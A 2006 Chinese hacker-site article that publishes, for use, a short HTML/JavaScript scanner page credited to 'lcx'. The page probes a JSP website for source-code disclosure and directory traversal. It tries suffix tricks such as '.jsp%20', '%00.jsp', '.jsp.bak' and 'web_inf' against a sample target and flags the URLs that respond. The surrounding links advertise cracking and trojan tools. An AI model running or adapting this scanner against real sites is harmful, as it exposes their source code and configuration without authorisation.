lcx写的一个暴jsp源码的网页--lcx,jsp,源码,网页

[推荐]lcx写的一个暴jsp源码的网页

荐 ★★★★★

lcx写的一个暴jsp源码的网页

文章整理发布：黑客风云文章来源：www.05112.com 更新时间：2006-12-26

另存为jsp.htm,在本地即可利用！

Code:

[Ctrl+A Select All]

海阳顶端网jsp暴源码及目录网页使用帮助:
第一个写域名；第二个写路径；第三个写文件名，注意不要加扩展名:

Code:

</pre>
<input type=text id=http size=28 style="border:1px solid #99CCdd; " value="[url]http://www.ctm.net[/url]">
<input type=text id=path size=36 style="border:1px solid #99CCdd; " value="/cgi-bin/ctm/jsp/cn/NHS/demo/">
<input type=text id=cindex size=6 style="border:1px solid #99CCdd; " value="main">
<input type=button onclick=isExist(http.value) value="检测JSP<a class='Channel_KeyLink' href='http://www.05112.com/'>源码</a>及目录遍历" style="border:1px solid #99CCdd; ">
<div id="t"></div>
<script>
function isExist(url) 
{
var myObject = new Object();
myObject.lcx1 = ".jsp.";
myObject.lcx2 = ".jsp+";
myObject.lcx3 = ".jsp%20";
myObject.lcx4 = ".jsp%2e";
myObject.lcx5 = ".jsp%70";
myObject.lcx6 = ".jsp%81";
myObject.lcx7 = ".jsp%2581";
myObject.lcx8 = ".JSP";
myObject.lcx9 = ".Jsp";
myObject.lcx10 = ".jsp.bak";
t.innerHTML+= "<br>目录遍历的方法，暂且收了这么多：<br><br>"
t.innerHTML+= "<a href=" +http.value+path.value+">"+http.value+path.value+"<br>";
t.innerHTML+= "<a href=" +http.value+path.value+"%00.jsp>"+http.value+path.value+"%00.jsp<br>";
t.innerHTML+= "<a href=" +http.value+path.value+"%3f.jsp>"+http.value+path.value+"%3f.jsp<br>";
t.innerHTML+= "<a href=" +http.value+path.value+"?.jsp>"+http.value+path.value+"?.jsp<br>";
t.innerHTML+= "<a href=" +http.value+path.value+"web_inf>"+http.value+path.value+"web_inf/<br><br>";
t.innerHTML+= "估计以下有个链接肯定存在暴<a class='Channel_KeyLink' href='http://www.05112.com/'>源码</a>或出错<a class='Channel_KeyLink' href='http://www.05112.com/'>漏洞</a>，俺可不是瞎说，没有<a class='Channel_KeyLink' href='http://www.05112.com/'>漏洞</a>俺不列，下雨阴天闲着也是闲着，挨个点一下看看吧：<br><br>";
for (lcx in myObject)
{
xmlhttp = new ActiveXObject("Microsoft.XMLHTTP")
xmlhttp.open("GET",http.value+path.value+cindex.value+myObject[lcx],false)
xmlhttp.send()
if(xmlhttp.status==200)
t.innerHTML += "<font color=red><a href="+http.value+path.value+cindex.value+myObject[lcx]+">"+http.value+path.value+cindex.value+myObject[lcx]+"<br></font></a>";
else
t.innerHTML+= http.value+path.value+cindex.value+myObject[lcx]+"你白费心了，俺不存在<a class='Channel_KeyLink' href='http://www.05112.com/'>漏洞</a>，不用点<br>";
}
}
</script>
</center>

[Ctrl+A Select All]

文章录入：cainiaowang 责任编辑：cainiaowang

上一篇文章：防范流氓软件终极篇:SSM系统防火墙

下一篇文章：使用ChangePassword更改所有服务帐户的密码

【字体：小大】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口】

VIP 专区

	抽根憋闷烟的心声
	学习网页制作的理由
	加入终身会员的理由!!!
	学习黑客编程的5大理由
	学习免杀的6大理由
	学习软件破解的理由
	会员账号开通查询
	常见问题解答
	汇款向导
	学员报名咨询

最新热门

	OllyDBG破解工具入门教程	02-06
	3389密码的嗅探	02-06
	防黑之阻断基于PcAnyWhere的攻击	01-11
	取代NBSI2：Opendatasource And	01-08
	黑洞远程控制软件V1.0（黑洞2007	12-11
	远离QQ木马威胁！QQ医生新品试用	12-07
	网络分析专家sniffer之流量扫描篇	12-04
	病毒终结者卡巴斯基6.0闪亮登场	11-30
	Discuz论坛爆物理路径原理+工具	11-28
	精品后门程序介绍及思路分板	10-30
	IISPutScanner v1.0扫描入侵工具	10-20
	通用php远程文件包含漏洞获取web	10-16

可ARP欺骗、网页插马、DNS欺骗的黑软：